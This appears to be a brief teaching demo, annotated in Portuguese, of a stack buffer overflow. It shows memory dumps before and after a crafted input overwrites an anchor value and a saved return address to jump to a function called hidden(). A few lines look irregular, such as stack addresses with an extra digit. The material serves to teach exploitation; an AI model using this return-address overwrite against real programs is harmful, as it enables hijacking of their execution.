

```
> perl trick.pl
Address of main is 0x55555555498a
Address of hidden is 0x555555554977
```

```
0x7fffffffddc58: e0495555 55550000 ?IUUUU??
0x7fffffffddc50: 80dcffff ff7f0000 ????????
0x7fffffffddc48: 4d4a5555 deadbeef MJUU????
0x7fffffffddc40: 01000000 00000000 ????????
0x7fffffffddc38: 19e1ffff ff7f0000 ????????
0055
```

You entered: 'UUUUUUUUUUUUUUUUUUUUUUwIUUUU'

```
0x7fffffffddc58: 77495555 55550000 wIUUUU??
0x7fffffffddc50: 55555555 55555555 UUUUUUUU
0x7fffffffddc48: 55555555 55555555 UUUUUUUU
0x7fffffffddc40: 01000000 55555555 ???UUUU
0x7fffffffddc38: 19e1ffff ff7f0000 ????????
0055
```

```
[!] Correct overflow.
>
```

Unicode Map:

0x77	=	'w'
0x49	=	'I'
0x55	=	'U'

e0495555 : Endereço de retorno original.
deadbeef : Variável âncora (referência para endereço da *stack*).
00000000 4d4a5555 : Endereço reservado para buffer atacado (inicialmente contendo lixo).
55555555 55555555 : Preenchimento da parte reservada.
55555555 55555555 : *Overrun*. Escrita por *overflow* na *stack*.
55555555 : Parte do *overflow* que sobrescreveu variável âncora.
77495555 : Parte do *overflow* que sobrescreveu endereço de retorno, inserindo o endereço de código da função desejada 'hidden()'.
0055